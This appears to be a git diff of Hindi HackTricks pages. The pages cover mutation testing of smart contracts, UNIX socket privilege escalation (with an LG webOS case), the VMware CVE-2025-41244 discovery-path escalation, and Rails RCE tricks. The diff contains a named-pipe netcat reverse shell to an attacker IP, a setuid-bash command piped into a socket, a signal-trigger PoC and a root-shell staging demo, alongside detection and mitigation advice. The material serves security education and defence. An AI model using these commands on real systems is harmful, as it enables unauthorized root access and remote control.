1) बदली हुई लाइन और व्यवहार का निरीक्षण करें।
|
||||||
- mutated line लागू करके स्थानीय रूप से reproduce करें और एक focused test चलाएँ।
|
- बदली हुई लाइन लागू करके और एक focused test चला कर लोकली पुनरुत्पादन करें।
|
||||||
|
|
||||||
2) केवल return values पर नहीं बल्कि state को assert करने के लिए tests को मजबूत करें।
|
2) tests को मजबूत बनाएं ताकि वे केवल return values न बल्कि state को assert करें।
|
||||||
- equality-boundary checks जोड़ें (उदा., test threshold `==`)।
|
- equality-boundary checks जोड़ें (उदा., test threshold `==`)।
|
||||||
- post-conditions को assert करें: balances, total supply, authorization प्रभाव, और emitted events।
|
- post-conditions को assert करें: balances, total supply, authorization effects, और emitted events।
|
||||||
|
|
||||||
3) अत्यधिक permissive mocks को realistic व्यवहार से बदलें।
|
3) बहुत permissive mocks को realistic व्यवहार वाले mocks से बदलें।
|
||||||
- सुनिश्चित करें कि mocks transfers, failure paths, और on-chain होने वाली event emissions को enforce करें।
|
- सुनिश्चित करें कि mocks transfers, failure paths, और on-chain होने वाले event emissions को enforce करें।
|
||||||
|
|
||||||
4) fuzz tests के लिए invariants जोड़ें।
|
4) fuzz tests के लिए invariants जोड़ें।
|
||||||
- उदा., conservation of value, non-negative balances, authorization invariants, जहाँ लागू हो वहां monotonic supply।
|
- जैसे: conservation of value, non-negative balances, authorization invariants, जहाँ लागू हो monotonic supply।
|
||||||
|
|
||||||
5) survivors मरने तक या स्पष्ट रूप से justified होने तक slither-mutate फिर से चलाएँ।
|
5) Re-run slither-mutate करें जब तक कि survivors को killed न किया जाए या स्पष्ट रूप से justified न किया जाए।
|
||||||
|
|
||||||
## Case study: revealing missing state assertions (Arkis protocol)
|
## केस स्टडी: state assertions की कमी का खुलासा (Arkis protocol)
|
||||||
|
|
||||||
Arkis DeFi protocol के एक audit के दौरान एक mutation अभियान ने निम्नलिखित जैसे surviving cases surface किए:
|
Arkis DeFi protocol के audit के दौरान एक mutation campaign ने निम्नलिखित तरह के survivors उभारे:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
Commenting out the assignment didn’t break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
|
Commenting out the assignment ने tests को टूटने से रोक दिया, जिससे post-state assertions की कमी स्पष्ट हुई। मूल कारण: कोड ने वास्तविक token transfers को validate करने के बजाय user-controlled `_cmd.value` पर भरोसा किया। एक attacker अपेक्षित और वास्तविक transfers को desynchronize कर के funds निकाल सकता है। परिणाम: protocol की solvency के लिए उच्च गंभीरता का जोखिम।
|
||||||
|
|
||||||
मार्गदर्शन: वैल्यू ट्रांसफर, अकाउंटिंग, या एक्सेस कंट्रोल को प्रभावित करने वाले survivors को killed किए जाने तक high-risk मानें।
|
दिशानिर्देश: जो बचे हुए मामले (survivors) value transfers, accounting, या access control को प्रभावित करते हैं, उन्हें तब तक उच्च-जोखिम मानें जब तक उन्हें समाप्त (killed) न किया जाए।
|
||||||
|
|
||||||
## व्यावहारिक चेकलिस्ट
|
## व्यावहारिक चेकलिस्ट
|
||||||
|
|
||||||
- लक्षित अभियान चलाएँ:
|
- एक लक्षित अभियान चलाएँ:
|
||||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||||
- बचे हुए survivors की triage करें और ऐसे tests/invariants लिखें जो mutated व्यवहार में fail हों।
|
- बचे हुए मामलों (survivors) की triage करें और ऐसे tests/invariants लिखें जो परिवर्तित व्यवहार (mutated behavior) के अंतर्गत fail हों।
|
||||||
- balances, supply, authorizations, और events को assert करें।
|
- balances, supply, authorizations, and events की assertions जोड़ें।
|
||||||
- बाउंडरी tests जोड़ें (`==`, overflows/underflows, zero-address, zero-amount, empty arrays)।
|
- boundary tests जोड़ें (`==`, overflows/underflows, zero-address, zero-amount, empty arrays)।
|
||||||
- अवास्तविक mocks को बदलें; failure modes का simulate करें।
|
- अवास्तविक mocks को बदलें; failure modes का अनुकरण करें।
|
||||||
- इटरेट करें जब तक सभी mutants killed न हों या comments और rationale के साथ justified न हों।
|
- तब तक 반복 करें जब तक सभी mutants नष्ट (killed) न हो जाएँ या comments और rationale के साथ justified न किए जाएँ।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
|
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Python के साथ Socket binding का उदाहरण
|
## Socket binding example with Python
|
||||||
|
|
||||||
निम्नलिखित उदाहरण में एक **unix socket बनाया जाता है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** होगा उसे `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आप इसे वास्तविक दुनिया में शायद नहीं पाएँगे, लेकिन इस उदाहरण का लक्ष्य यह दिखाना है कि unix sockets का उपयोग करने वाला कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे संभालना है।
|
निम्न उदाहरण में एक **unix socket is created** (`/tmp/socket_test.s`) और जो कुछ भी **received** होगा वह `os.system` द्वारा **executed** हो जाएगा। मुझे पता है कि आप इसे वास्तविक दुनिया में शायद नहीं पाएँगे, पर इस उदाहरण का उद्देश्य यह दिखाना है कि unix sockets का उपयोग करने वाला कोड कैसा दिखता है, और सबसे खराब संभव मामले में इनपुट को कैसे संभाला जाए।
|
||||||
```python:s.py
|
```python:s.py
|
||||||
import socket
|
import socket
|
||||||
import os, os.path
|
import os, os.path
|
||||||
@ -26,7 +26,7 @@ print(datagram)
|
|||||||
os.system(datagram)
|
os.system(datagram)
|
||||||
conn.close()
|
conn.close()
|
||||||
```
|
```
|
||||||
**कोड चलाएँ** python का उपयोग करके: `python s.py` और **जांचें कि socket कैसे सुन रहा है**:
|
**कोड चलाएँ** python का उपयोग करके: `python s.py` और **जाँचें कि socket कैसे सुन रहा है**:
|
||||||
```python
|
```python
|
||||||
netstat -a -p --unix | grep "socket_test"
|
netstat -a -p --unix | grep "socket_test"
|
||||||
(Not all processes could be identified, non-owned process info
|
(Not all processes could be identified, non-owned process info
|
||||||
@ -39,15 +39,15 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
|
|||||||
```
|
```
|
||||||
## केस स्टडी: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
## केस स्टडी: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||||
|
|
||||||
कुछ privileged daemons एक root-owned UNIX socket एक्सपोज़ करते हैं जो untrusted input स्वीकार करता है और privileged actions को thread-IDs और signals से जोड़ता है। यदि protocol unprivileged client को यह प्रभावित करने देता है कि कौन सा native thread लक्ष्य बनता है, तो आप privileged code path ट्रिगर करके escalate कर सकते हैं।
|
कुछ privileged daemons एक root-owned UNIX socket expose करते हैं जो untrusted input स्वीकार करते हैं और privileged actions को thread-IDs और signals के साथ जोड़ते हैं। अगर प्रोटोकॉल unprivileged client को यह प्रभावित करने की अनुमति देता है कि कौन सा native thread टार्गेट किया जाए, तो आप privileged code path ट्रिगर करके escalate कर सकते हैं।
|
||||||
|
|
||||||
प्रेक्षित पैटर्न:
|
Observed pattern:
|
||||||
- Root-owned socket से कनेक्ट करें (उदा., /tmp/remotelogger).
|
- एक root-owned socket से कनेक्ट करें (e.g., /tmp/remotelogger).
|
||||||
- एक thread बनाएँ और उसके native thread id (TID) प्राप्त करें।
|
- एक thread बनाएं और उसका native thread id (TID) प्राप्त करें.
|
||||||
- TID (packed) और padding एक request के रूप में भेजें; acknowledgement प्राप्त करें।
|
- TID (packed) और padding को एक request के रूप में भेजें; acknowledgement प्राप्त करें.
|
||||||
- उस TID को एक specific signal भेजें ताकि privileged behaviour ट्रिगर हो।
|
- उस TID को एक specific signal दें ताकि privileged behaviour ट्रिगर हो.
|
||||||
|
|
||||||
न्यूनतम PoC खाका:
|
Minimal PoC स्केच:
|
||||||
```python
|
```python
|
||||||
import socket, struct, os, threading, time
|
import socket, struct, os, threading, time
|
||||||
# Spawn a thread so we have a TID we can signal
|
# Spawn a thread so we have a TID we can signal
|
||||||
@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
|||||||
s.recv(4) # sync
|
s.recv(4) # sync
|
||||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||||
```
|
```
|
||||||
इसे root shell में बदलने के लिए, एक सरल named-pipe + nc pattern का उपयोग किया जा सकता है:
|
इसे root shell में बदलने के लिए, एक सरल named-pipe + nc पैटर्न का उपयोग किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
rm -f /tmp/f; mkfifo /tmp/f
|
rm -f /tmp/f; mkfifo /tmp/f
|
||||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||||
```
|
```
|
||||||
नोट:
|
नोट्स:
|
||||||
- यह बग वर्ग उन मानों पर भरोसा करने से उत्पन्न होता है जो गैर-प्रिविलेज्ड क्लाइंट स्टेट (TIDs) से निकले होते हैं और उन्हें प्रिविलेज्ड सिग्नल हैंडलरों या लॉजिक से बाइंड कर दिया जाता है।
|
- यह बग श्रेणी unprivileged client state (TIDs) से निकले मानों पर भरोसा करने और उन्हें privileged signal handlers या logic से बाँधने से उत्पन्न होती है।
|
||||||
- मजबूत करने के लिए: socket पर credentials लागू करें, message formats को validate करें, और प्रिविलेज्ड ऑपरेशन्स को बाहरी रूप से प्रदान किए गए thread identifiers से अलग करें।
|
- सुरक्षा बढ़ाने के लिए socket पर credentials लागू करें, message formats को validate करें, और privileged operations को externally supplied thread identifiers से decouple करें।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
|
|
||||||
|
@ -2,22 +2,22 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
यह तकनीक उन regex-driven service discovery pipelines का दुरुपयोग करती है जो चल रहे process command lines को parse करके service versions का अनुमान लगाती हैं और फिर candidate binary को "version" flag के साथ execute करती हैं। जब permissive patterns untrusted, attacker-controlled paths (उदा., /tmp/httpd) को स्वीकार करते हैं, तो privileged collector untrusted स्थान से arbitrary binary को execute कर देता है, जिससे local privilege escalation हो सकता है। NVISO ने इसे VMware Tools/Aria Operations Service Discovery में CVE-2025-41244 के रूप में दस्तावेजीकृत किया।
|
यह तकनीक उन regex-driven service discovery पाइपलाइनों का दुरुपयोग करती है जो चल रहे process command lines को पार्स करके service versions का अनुमान लगाती हैं और फिर एक candidate binary को "version" फ़्लैग के साथ execute करती हैं। जब permissive patterns untrusted, attacker-controlled paths (उदाहरण के लिए /tmp/httpd) स्वीकार करते हैं, तो privileged collector untrusted location से arbitrary binary को execute कर देता है, जिससे local privilege escalation होता है। NVISO ने इसे VMware Tools/Aria Operations Service Discovery में CVE-2025-41244 के रूप में दस्तावेज़ किया।
|
||||||
|
|
||||||
- प्रभाव: Local privilege escalation to root (or to the privileged discovery account)
|
- Impact: Local privilege escalation to root (or to the privileged discovery account)
|
||||||
- मूल कारण: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||||
- प्रभावित: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||||
|
|
||||||
## How VMware service discovery works (उच्च-स्तरीय)
|
## VMware service discovery कैसे काम करता है (उच्च स्तर पर)
|
||||||
|
|
||||||
- Credential-based (legacy): Aria, configured privileged credentials का उपयोग करके, VMware Tools के माध्यम से guest के अंदर discovery scripts चलाता है।
|
- Credential-based (legacy): Aria configured privileged credentials का उपयोग करके VMware Tools के माध्यम से guest के अंदर discovery scripts को execute करता है।
|
||||||
- Credential-less (modern): Discovery logic VMware Tools के अंदर चलता है, जो पहले से ही guest में privileged होता है।
|
- Credential-less (modern): Discovery logic VMware Tools के भीतर चलता है, जो पहले से ही guest में privileged होता है।
|
||||||
|
|
||||||
दोनों मोड अंततः shell logic चलाते हैं जो listening sockets वाले processes को scan करता है, regex के जरिए matching command path निकालता है, और पहले argv token को version flag के साथ execute करता है।
|
दोनों मोड अंततः shell logic चलाते हैं जो listening sockets वाले processes को scan करता है, regex के जरिए matching command path निकालता है, और first argv token को version flag के साथ execute करता है।
|
||||||
|
|
||||||
## Root cause and vulnerable pattern (open-vm-tools)
|
## मूल कारण और असुरक्षित पैटर्न (open-vm-tools)
|
||||||
|
|
||||||
open-vm-tools में, serviceDiscovery plugin script get-versions.sh candidate binaries को broad regular expressions से match करता है और किसी भी trusted-path validation के बिना पहले token को execute करता है:
|
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
|
||||||
```bash
|
```bash
|
||||||
get_version() {
|
get_version() {
|
||||||
PATTERN=$1
|
PATTERN=$1
|
||||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
|||||||
done
|
done
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
यह permissive patterns में \S (non-whitespace) होने के साथ बुलाया जाता है, जो user-writable स्थानों में non-system paths से आसानी से मेल खा लेगा:
|
यह लचीले पैटर्नों के साथ कॉल किया जाता है जिनमें \S (नॉन-व्हाइटस्पेस) शामिल होता है, जो उपयोगकर्ता-लिखने योग्य स्थानों में गैर-सिस्टम पथों से आसानी से मेल खा लेगा:
|
||||||
```bash
|
```bash
|
||||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||||
@ -38,21 +38,21 @@ get_version "\.?/\S*nginx($|\s)" -v
|
|||||||
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||||
get_version "/\S+/dataserver($|\s)" -v
|
get_version "/\S+/dataserver($|\s)" -v
|
||||||
```
|
```
|
||||||
- निष्कर्षण के लिए grep -Eo का उपयोग किया जाता है और पहला टोकन लिया जाता है: ${COMMAND%%[[:space:]]*}
|
- एक्सट्रैक्शन grep -Eo का उपयोग करता है और पहला टोकन लेता है: ${COMMAND%%[[:space:]]*}
|
||||||
- कोई whitelist/allowlist of trusted system paths नहीं है; किसी भी discovered listener जिसका नाम मैच करता है उसे -v/--version के साथ execute किया जाता है
|
- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version
|
||||||
|
|
||||||
This creates an untrusted search path execution primitive: world-writable निर्देशिकाओं (e.g., /tmp/httpd) में स्थित arbitrary binaries को एक privileged component द्वारा execute किया जाता है।
|
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
|
||||||
|
|
||||||
## Exploitation (दोनों credential-less और credential-based मोड)
|
## Exploitation (both credential-less and credential-based modes)
|
||||||
|
|
||||||
Preconditions
|
Preconditions
|
||||||
- आप एक unprivileged process चला सकते हैं जो guest पर एक listening socket खोलता है।
|
- आप एक unprivileged process चला सकते हैं जो guest पर listening socket खोलता है।
|
||||||
- discovery job सक्षम है और आवधिक रूप से चलता है (इतिहासिक रूप से ~5 मिनट)।
|
- discovery job सक्षम है और periodically चलता है (इतिहास में ~5 मिनट)।
|
||||||
|
|
||||||
Steps
|
Steps
|
||||||
1) permissive regexes में से किसी एक से मेल खाने वाले path में एक binary stage करें, जैसे /tmp/httpd या ./nginx
|
1) permissive regexes में से किसी एक से मेल खाने वाले पाथ में binary stage करें, उदाहरण के लिए /tmp/httpd या ./nginx
|
||||||
2) इसे low-privileged user के रूप में चलाएँ और सुनिश्चित करें कि यह कोई listening socket खोलता है
|
2) इसे low-privileged user के रूप में चलाएँ और सुनिश्चित करें कि यह कोई भी listening socket खोलता है
|
||||||
3) discovery cycle का इंतजार करें; privileged collector स्वचालित रूप से execute करेगा: /tmp/httpd -v (या समान), आपके प्रोग्राम को root के रूप में चलाते हुए
|
3) discovery cycle की प्रतीक्षा करें; privileged collector स्वतः execute करेगा: /tmp/httpd -v (या समान), जिससे आपका प्रोग्राम root के रूप में चलेगा
|
||||||
|
|
||||||
Minimal demo (using NVISO’s approach)
|
Minimal demo (using NVISO’s approach)
|
||||||
```bash
|
```bash
|
||||||
@ -65,61 +65,61 @@ chmod +x /tmp/httpd
|
|||||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||||
# After the next cycle, expect a root shell or your privileged action
|
# After the next cycle, expect a root shell or your privileged action
|
||||||
```
|
```
|
||||||
सामान्य प्रक्रिया वंशावली
|
सामान्य प्रोसेस वंशावली
|
||||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
- क्रेडेंशियल-आधारित: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
- क्रेडेंशियल-रहित: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
|
||||||
आर्टिफैक्ट्स (credential-based)
|
आर्टिफैक्ट्स (क्रेडेंशियल-आधारित)
|
||||||
पुनःप्राप्त SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the दुष्ट पथ:
|
/tmp/VMware-SDMP-Scripts-{UUID}/ के अंतर्गत पुनःप्राप्त SDMP wrapper स्क्रिप्ट्स में rogue path का सीधे निष्पादन दिख सकता है:
|
||||||
```bash
|
```bash
|
||||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||||
```
|
```
|
||||||
## तकनीक का सामान्यीकरण: regex-driven discovery abuse (portable pattern)
|
## तकनीक का सामान्यीकरण: regex-driven discovery abuse (portable pattern)
|
||||||
|
|
||||||
कई agents और monitoring suites version/service discovery को निम्न तरीकों से लागू करते हैं:
|
कई agents और monitoring suites version/service discovery को इस तरह लागू करते हैं:
|
||||||
- listening sockets वाले processes की enumeration करना
|
- Listening sockets के साथ processes की enumeration
|
||||||
- argv/command lines को permissive regexes (जैसे \S वाले पैटर्न) से grep करना
|
- argv/command lines को permissive regexes से grep करना (उदा., patterns जिनमें \S शामिल हो)
|
||||||
- मैच हुए path को किसी benign flag के साथ execute करना जैसे -v, --version, -V, -h
|
- मेल खाए हुए path को benign flag जैसे -v, --version, -V, -h के साथ execute करना
|
||||||
|
|
||||||
यदि regex untrusted paths को स्वीकार करता है और वह path privileged context से execute होता है, तो CWE-426 Untrusted Search Path execution हो सकता है।
|
यदि regex untrusted paths को स्वीकार करता है और path privileged context से execute होता है, तो आपको CWE-426 Untrusted Search Path execution मिलता है।
|
||||||
|
|
||||||
दुरुपयोग विधि
|
दुरुपयोग नुस्खा
|
||||||
- अपने binary का नाम उन सामान्य daemons जैसा रखें जिनसे regex मेल खाने की संभावना हो: httpd, nginx, mysqld, dataserver
|
- अपने binary का नाम ऐसे रखें जैसे सामान्य daemons जिनसे regex मिल सकता है: httpd, nginx, mysqld, dataserver
|
||||||
- इसे किसी writable directory में रखें: /tmp/httpd, ./nginx
|
- इसे writable directory में रखें: /tmp/httpd, ./nginx
|
||||||
- सुनिश्चित करें कि यह regex से मैच करता है और किसी भी पोर्ट को खोलता है ताकि इसे enumerate किया जा सके
|
- सुनिश्चित करें कि यह regex से मेल खाता है और किसी भी port को खोलता है ताकि उसे enumerate किया जा सके
|
||||||
- शेड्यूल्ड collector का इंतजार करें; आपको स्वतः ही privileged invocation मिलेगा: <path> -v
|
- शेड्यूल किए गए collector का इंतजार करें; आपको <path> -v का automatic privileged invocation मिल जाएगा
|
||||||
|
|
||||||
Masquerading note: यह MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) के अनुरूप है ताकि मैच की संभावना और stealth बढ़ सके।
|
Masquerading note: यह MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) के अनुरूप है, जिससे match probability और stealth बढ़ती है।
|
||||||
|
|
||||||
पुन: प्रयोज्य privileged I/O relay ट्रिक
|
Reusable privileged I/O relay trick
|
||||||
- अपने helper को इस तरह बनाएं कि privileged invocation (-v/--version) पर यह किसी ज्ञात rendezvous से कनेक्ट करे (उदा., Linux abstract UNIX socket जैसे @cve) और stdio को /bin/sh -i से ब्रिज करे। यह on-disk artifacts से बचता है और उन कई वातावरणों में काम करता है जहाँ वही binary फ्लैग के साथ फिर से invoke किया जाता है।
|
- अपने helper को इस तरह बनाएं कि privileged invocation (-v/--version) पर यह किसी ज्ञात rendezvous (उदा., a Linux abstract UNIX socket जैसे @cve) से connect करे और stdio को /bin/sh -i से bridge कर दे। यह on-disk artifacts को रोकता है और कई environments में काम करता है जहाँ वही binary flag के साथ फिर से invoke किया जाता है।
|
||||||
|
|
||||||
## Detection and DFIR guidance
|
## Detection and DFIR guidance
|
||||||
|
|
||||||
Hunting queries
|
Hunting queries
|
||||||
- vmtoolsd या get-versions.sh के अनपेक्षित children जैसे /tmp/httpd, ./nginx, /tmp/mysqld
|
- vmtoolsd या get-versions.sh के असामान्य children जैसे /tmp/httpd, ./nginx, /tmp/mysqld
|
||||||
- discovery scripts द्वारा non-system absolute paths का कोई भी execution (दिखने के लिए ${COMMAND%%...} expansions में spaces की तलाश करें)
|
- discovery scripts द्वारा non-system absolute paths का कोई भी execution ( ${COMMAND%%...} expansions में spaces के लिए देखें)
|
||||||
- ps -ef --forest से ancestry trees को visualize करें: vmtoolsd -> get-versions.sh -> <non-system path>
|
- ps -ef --forest से ancestry trees visualize करें: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||||
|
|
||||||
On Aria SDMP (credential-based)
|
On Aria SDMP (credential-based)
|
||||||
- /tmp/VMware-SDMP-Scripts-{UUID}/ की जाँच करें transient scripts और stdout/stderr artifacts के लिए जो attacker paths के execution को दिखाते हों
|
- /tmp/VMware-SDMP-Scripts-{UUID}/ की जांच करें transient scripts और stdout/stderr artifacts के लिए जो attacker paths के execution को दिखाते हैं
|
||||||
|
|
||||||
Policy/telemetry
|
Policy/telemetry
|
||||||
- जब privileged collectors non-system prefixes से execute हों तो alert जनरेट करें: ^/(tmp|home|var/tmp|dev/shm)/
|
- जब privileged collectors non-system prefixes से execute करें तो alert करें: ^/(tmp|home|var/tmp|dev/shm)/
|
||||||
- get-versions.sh और VMware Tools plugins पर file integrity monitoring लागू करें
|
- get-versions.sh और VMware Tools plugins पर file integrity monitoring रखें
|
||||||
|
|
||||||
## Mitigations
|
## Mitigations
|
||||||
|
|
||||||
- Patch: CVE-2025-41244 (Tools and Aria Operations SDMP) के लिए Broadcom/VMware updates लागू करें
|
- Patch: CVE-2025-41244 (Tools and Aria Operations SDMP) के लिए Broadcom/VMware updates लागू करें
|
||||||
- जहाँ संभव हो credential-less discovery को disable या restrict करें
|
- जहाँ संभव हो credential-less discovery को disable या restrict करें
|
||||||
- trusted paths को validate करें: execution को allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) तक सीमित करें और केवल exact known binaries की अनुमति दें
|
- Trusted paths को validate करें: execution को allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) तक सीमित करें और केवल exact known binaries की अनुमति दें
|
||||||
- \S जैसी permissive regexes से बचें; anchored, explicit absolute paths और exact command names को प्राथमिकता दें
|
- \S जैसे permissive regexes से बचें; anchored, स्पष्ट absolute paths और exact command names को प्राथमिकता दें
|
||||||
- जहाँ संभव हो discovery helpers के privileges ड्रॉप करें; प्रभाव कम करने के लिए sandbox (seccomp/AppArmor) का उपयोग करें
|
- जहाँ संभव हो discovery helpers के privileges घटाएँ; प्रभाव कम करने के लिए sandbox (seccomp/AppArmor) का उपयोग करें
|
||||||
- vmtoolsd/get-versions.sh द्वारा non-system paths के execution के लिए monitor और alert करें
|
- vmtoolsd/get-versions.sh द्वारा non-system paths के execute होने पर मॉनिटर और अलर्ट करें
|
||||||
|
|
||||||
## Notes for defenders and implementers
|
## रक्षा और लागू करने वालों के लिए नोट्स
|
||||||
|
|
||||||
सुरक्षित matching और execution pattern
|
बेहतर matching और execution पैटर्न
|
||||||
```bash
|
```bash
|
||||||
# Bad: permissive regex and blind exec
|
# Bad: permissive regex and blind exec
|
||||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||||
|
@ -1,18 +1,18 @@
|
|||||||
# Ruby ट्रिक्स
|
# Ruby Tricks
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## फ़ाइल अपलोड से RCE
|
## File upload to RCE
|
||||||
|
|
||||||
जैसा कि [this article](https://www.offsec.com/blog/cve-2024-46986/) में बताया गया है, `config/initializers/` जैसे संवेदनशील डायरेक्टरी में `.rb` फ़ाइल अपलोड करने से Ruby on Rails ऐप्लिकेशन्स में remote code execution (RCE) हो सकता है।
|
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||||
|
|
||||||
टिप्स:
|
Tips:
|
||||||
- ऐसे अन्य boot/eager-load लोकेशंस जो ऐप स्टार्ट पर execute होते हैं, जब writable हों तो जोखिमपूर्ण होते हैं (उदा., `config/initializers/` क्लासिक उदाहरण है)। यदि आप कोई arbitrary file upload पाते हैं जो `config/` के अंदर कहीं भी गिरता है और बाद में evaluate/required किया जाता है, तो आप boot पर RCE प्राप्त कर सकते हैं।
|
- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot.
|
||||||
- ऐसे dev/staging builds खोजें जो user-controlled फाइलों को container image में कॉपी करते हैं जहाँ Rails उन्हें boot पर लोड करेगा।
|
- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
|
||||||
|
|
||||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||||
|
|
||||||
जब कोई ऐप Active Storage को `image_processing` + `mini_magick` के साथ उपयोग करता है, और image transformation methods में untrusted parameters पास करता है, तो Rails के 7.1.5.2 / 7.2.2.2 / 8.0.2.1 से पहले के वर्ज़न command injection की अनुमति दे सकते हैं क्योंकि कुछ transformation methods गलती से डिफ़ॉल्ट रूप से allow थे।
|
जब कोई एप्लिकेशन Active Storage के साथ `image_processing` + `mini_magick` उपयोग करता है, और untrusted parameters को image transformation methods को पास किया जाता है, तो Rails के वो वर्शन जो 7.1.5.2 / 7.2.2.2 / 8.0.2.1 से पहले हैं, command injection की अनुमति दे सकते हैं क्योंकि कुछ transformation methods गलती से डिफ़ॉल्ट रूप से allow कर दिए गए थे।
|
||||||
|
|
||||||
- A vulnerable pattern looks like:
|
- A vulnerable pattern looks like:
|
||||||
```erb
|
```erb
|
||||||
@ -20,30 +20,30 @@
|
|||||||
```
|
```
|
||||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||||
|
|
||||||
- टेस्टिंग के दौरान आज़माएँ
|
- What to try during testing
|
||||||
- ऐसे endpoints पहचानें जो variant/processing options, transformation names, या arbitrary ImageMagick arguments स्वीकार करते हों।
|
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
|
||||||
- संदिग्ध errors या execution side-effects के लिए `params[:t]` और `params[:v]` को fuzz करें। यदि आप method name को प्रभावित कर सकें या raw arguments पास कर सकें जो MiniMagick तक पहुँचें, तो आप image processor host पर code exec प्राप्त कर सकते हैं।
|
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
|
||||||
- यदि आपके पास केवल generated variants का read-access है, तो crafted ImageMagick operations के जरिए blind exfiltration कोशिश करें।
|
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
|
||||||
|
|
||||||
- निवारण/डिटेक्शन
|
- Remediation/detections
|
||||||
